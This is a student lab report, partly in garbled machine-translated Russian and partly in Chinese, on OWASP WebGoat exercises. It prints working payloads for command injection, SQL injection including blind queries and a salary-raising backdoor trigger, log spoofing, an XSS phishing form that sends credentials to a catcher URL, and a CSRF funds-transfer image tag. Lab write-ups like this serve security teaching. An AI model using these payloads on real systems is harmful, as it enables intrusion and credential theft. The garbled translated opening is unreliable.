20165214 2018-2019-2 инфраструктура "Network Warfare Technology" Exp9 веб-безопасности Week13

инфраструктура "Network Warfare Technology" Exp9 веб-безопасности Week13

Во-первых, тестовые задачи и содержание

  • Содержание 1. Практика

    • (1) Эта цель практики понять основные принципы методов общих сетевых атак, делают не менее семи темам. В том числе (SQL, XSS, CSRF). При Webgoat связанной практики экспериментов.
  • 2. Некоторые проблемы

    • (1) инъекции SQL принцип атаки, как защитить
    • A: SQL инъекция уязвимость относится к уязвимости в веб-приложении фоновым обработки запросов к базе данных существует. То есть, команды встроенный SQL-во входной строке, от проверки специальной строки может представлять собой нападение в процессе проектирования. После того, как база данных бэкенда следует рассматривать как нормальные команды SQL выполняются обычно можно достичь серверной базы данных для выполнения различных операций, даже вызывая серьезные последствия, такие как повреждение серверной базы данных. Средства защиты: не позволяют совершить строку, зашифрованное содержимое базы данных содержит специальные символы.

    • (2) принцип XSS атаки, как защитить
    • Ответ: в любом месте, чтобы принять нормальный сайт ввода текста, введите Javascript сценарий, и выполнение скрипта. Средства защиты: когда форма представляется обнаружить наличие специального характера; устранение сайта XSS уязвимость, веб-разработчики используют средства безопасности побега характера.

    • (3) принцип CSRF нападение, как защитить
    • A: Вид злонамеренного использования сайта широко известен как фишинг-сайты, даже если это звучит как межсайтовый скриптинг (XSS), но доверия пользователей в использовании сайта XSS, CSRF через камуфляж и запрос от доверенного пользователя к использование доверенных сайтов. По сравнению с XSS атак CSRF атак часто не очень популярны (и, следовательно, их ресурсы для защиты от довольно редко), и трудно защитить, считается более опасным, чем XSS. Для каждой важной страницы после представления, можно использовать код подтверждения. Каждая страница содержит маркер созданный веб-сервером, на момент подачи заявки, но и судить маркер, представленный на сервер, сервер, если маркер не определено, что атак CSRF. Регулярная очистка куки, даже без использования куков

Во-вторых, экспериментальные процедуры

Установка Webgoat

  • Webgoat является OWASP организация разработала платформу для эксперимента уязвимости веб-приложений для иллюстрации безопасности существуют уязвимости в веб-приложении. Webgoat работать на платформах с Java виртуальной машины, в настоящее время обеспечивают более 30 учебных курсов, в том числе: атак межузловых сценариев (XSS), контроля доступа, защитная нить, рабочее скрытые поля, манипуляции параметров, слабой куки сессии , SQL жалюзи, цифровой типа SQL инъекция, инъекция строка SQL, веб-службы, Open Authentication недостаточность, опасный HTML комментарий и так далее. Webgoat предоставляет ряд учебных пособий, чтобы узнать веб-безопасность, некоторые курсы также дают видео презентацию, руководство пользователя на использование этих уязвимостей для атаки.

  • 1, в https://github.com/WebGoat/WebGoat/releases/tag/7.0.1 скачать webgoat-container-7.0.1-war-exec.jar, поташ положить в.

  • 2, в командной строке java -jar webgoat-container-7.0.1-war-exec.jarдля запуска Webgoat, по всей видимости, подождать некоторое время после того, как вы выполните следующий оперативный успех.

  • 3, в браузере ввести http://localhost:8080/WebGoatв интерфейс входа Webgoat

  • 4, в нижней части страницы с помощью любого из пароля учетной записи для входа в систему, вы можете увидеть на следующей странице:

  • 5, следующий шаг заключается в выборе различных вариантов на соответствующем тесте слева.

Различные инъекции уязвимости (Инъекционные Дефекты)

1, Command Injection (команда инъекции)

  • Описание: инъекции команды должны быть представлены путем ввода в текстовом окне некоторых команд, которые выполняются после подачи, таким образом, чтобы достичь определенной цели.

  • (1) Во-первых, вы можете увидеть на странице есть окно, есть много вариантов, они являются законными

  • (2) мы должны сделать , это изменить исходный код, в котором один из вариантов , чтобы добавить назад некоторые из инструкций, выбрав пересмотренные варианты, нажмите viewдостижение желаемого эффекта.

  • (3) Щелкните правой кнопкой мыши на странице, выберите inspect ElementПросмотр страницы изменения исходного кода, дважды щелкните флажок в любом столбце редактора кода, добавьте «& PWD».

  • (4)在复选框中选择该项,点击view,发现添加的命令被成功执行,攻击成功。

2、Numeric SQL Injection(数字型注入)

  • 简介:通过在要提交的文本框中加入一些其他的逻辑条件,来在没有权限的情况下绕过权限的限制,得到更多的东西。

  • (1)首先在页面中我们可以看到这只是一个简单的天气查询,在复选框中选择一个城市,点击go后可以查看所选择的城市的天气。这里复选框中只有四个选项

  • (2)我们可以猜测,这里的数据库语句应该是在数据库中查找城市对应编号所在的行,然后输出天气。

  • (3)右击页面,选择inspect Element查看页面源代码进行修改,找到复选框代码所在位置后,双击对value="102"进行修改,在后面添加or 1=1

  • (4)选择该城市,点击go。发现所有城市的天气信息都被输出,其中还有两个是选项里没有的。攻击成功

3、Log Spoofing(日志欺骗)

  • 简介:在进行web攻击后,往往会在日志文件中留下自己的攻击痕迹。通过日志欺骗,可以伪造日志,消除或掩盖自己的攻击痕迹。

  • (1)在 username 中填入zwy%0d%0aLogin Succeeded for username: admin,其中%0d%0a是回车和换行符号的ASCII码,密码任意。点击登录,可以看到如下信息。

  • (2)这样看起来就好像是有一个账号admin登录了网页。但其实这是假的。攻击者可以利用这种方式向日志文件中添加恶意脚本。比如在用户名输入admin <script>alert(document.cookie)</script>并提交,那么管理员页面就会弹出一个cookies信息。

4、LAB: SQL Injection

  • 这里有4个步骤,但是Stage 2和Stage 4仅适用于WebGoat的开发版本

  • Stage 1: 字符串型注入

    • 目标是绕过登录。

    • (1)首先尝试选择管理员身份,密码输入' or '1' = '1。在密码输入的时候会发现这里设置了长度限制,' or '1' = '1占13个长度,而密码框限制了输入长度为8

    • (2)根据上面的经验可以判断出需要修改页面源代码。

    • (3)右击页面,选择inspect Element查看页面源代码。右击页面,选择inspect Element查看页面源代码进行修改,修改密码框的长度为13。

    • (4)再次在密码框输入' or '1' = '1,发现这回没有被限制。点击登录后弹出如下提示,攻击成功

  • Stage 3: 数字型 SQL 注入

    • 目标:使用员工Larry的身份,查看老板Neville的信息。

    • (1)先使用Stage 1的方法,绕过登录,查看Larry的信息。

    • (2)右键点击页面,选择inspect Element查看页面源代码,找到选项框中的信息Larry Stooge所在的代码位置。

    • (3)相关人员信息就是通过value中的值进行搜索的。通常来说老板的工资是最高的,工资字段一般都是salary,所以修改value为101 or 1=1 order by salary desc,点击ViewProfile,发现得到老板的信息,攻击成功。

5、String SQL Injection(字符串注入)

  • (1)这个网站可以查询用户的信用卡号码。这里较为简单,原理与上面的数字型注入相似。

  • (2)在用户名框输入' or 1=1--,点击go,获得所有用户的信用卡号码

6、Database Backdoors(数据库后门)

  • (1)目标:创建一个数据库后门。尝试在输入查询id的同时注入命令增加工资。

  • (2)什么是数据库后门?数据库通常作为一个 Web 应用程序的后端来使用。此外,它也用来作为存储的媒介。 它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另 一个数据库操作,如增删改查。比如:攻击者可以创建一个触发器, 使得创建新用户时将每个新用户的工资增加10000。

  • (3)这个网站的作用是输入用户id,返回用户相应信息。输入`101进行搜索,可以看到现在的工资是55000

  • (4)输入101; update employee set salary=66666修改工资为66666。

  • (3)输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET Salary=NEW.Salary+10000 WHERE userid = NEW.userid,完成攻击。

  • 注:CREATE TRIGGER myBackDoor是创建一个后门。BEFORE是在....之前。这条语句是在插入新的数据之前把新员工的工资项加10000后再放入数据库。

7、Blind Numeric SQL Injection(数字型盲注)

  • 简介:一般来说, SQL 注入是没有明确返回信息的,这时候的注入就叫做盲注。

  • 目标:找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。

  • (1)该网站允许输入一个帐号,并检测该帐号是否合法。如果合法(存在),则提示有效,否则提示无效。比如:

  • (2)这里我们可以利用AND。这样一来当AND两边恒为真时,才会提示有效,否则提示无效。

  • (3)接下来就是利用数据库语句进行测试来找出pin的id。在文本框输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 )。发现无效,说明≤5000。

  • (4)接下来通过不断地折半查找,得到pin为2364

8、Blind String SQL Injection(字符型盲注)

  • 目标:与7相似,不过这里的pin字段变成varchar。

  • (1)同样的,利用AND。首先输入101 AND (LENGTH(SELECT name FROM pins WHERE cc_number='4321432143214321') < 5)测试一下pin的长度。显示

  • (2)继续进行尝试,发现长度是4。

  • (3)接着输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), [n], [n]) < 'H' )来不断对第n个字母进行确认。这里过程琐碎就不再列出。最后得到pin字段是Jill

跨站脚本攻击(XSS)

1、Phishing with XSS(使用 XSS 钓鱼)

  • 简介:原理:通过修改页面源代码,使得用户在访问时访问假的一个脚本,只要在上面输入了信息并提交,输入的信息就会被发送到指定的页面。

  • (1)右击页面,选择inspect Element查看页面源代码。右击页面,选择inspect Element查看页面源代码进行修改,双击其中任意一个部分,插入</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>

  • (2)搜索这段代码,出现如下界面

  • (3)输入任意,点击提交

4、Cross Site Request Forgery (CSRF)(跨站请求伪造)

  • (1)简介:让受害者加载一个包含网页的图片的一种攻击手段。

  • (2)右侧Parameters中的src和menu值,分别为294和900

  • (3)标题任意,内容输入<img src="http://localhost:8080/WebGoat/attack?Screen=294&menu=900&transferFunds=5000" width="1" height="1" />,然后提交。

  • (4)可以看到下方出现一个连接,可以点。点击后触发CSRF事件,攻击成功

    三、遇到的问题

  • 1、启动WebGoat并登录后左侧没有相应栏。
  • 解决方法:发现是因为jdk版本不匹配。下载1.8的jdk,设置好环境变量后解决了问题。参考https://www.jianshu.com/p/9ec7838411c8

四、心得体会

  • 通过本次实验,学习了注入攻击和XSS攻击、CSRF攻击,了解了这些攻击的原理,进行了简单的尝试,感觉虽然没有学得很深入,但是很好地拓宽了知识面。

рекомендация

отwww.cnblogs.com/zhuwenyuan/p/10925501.html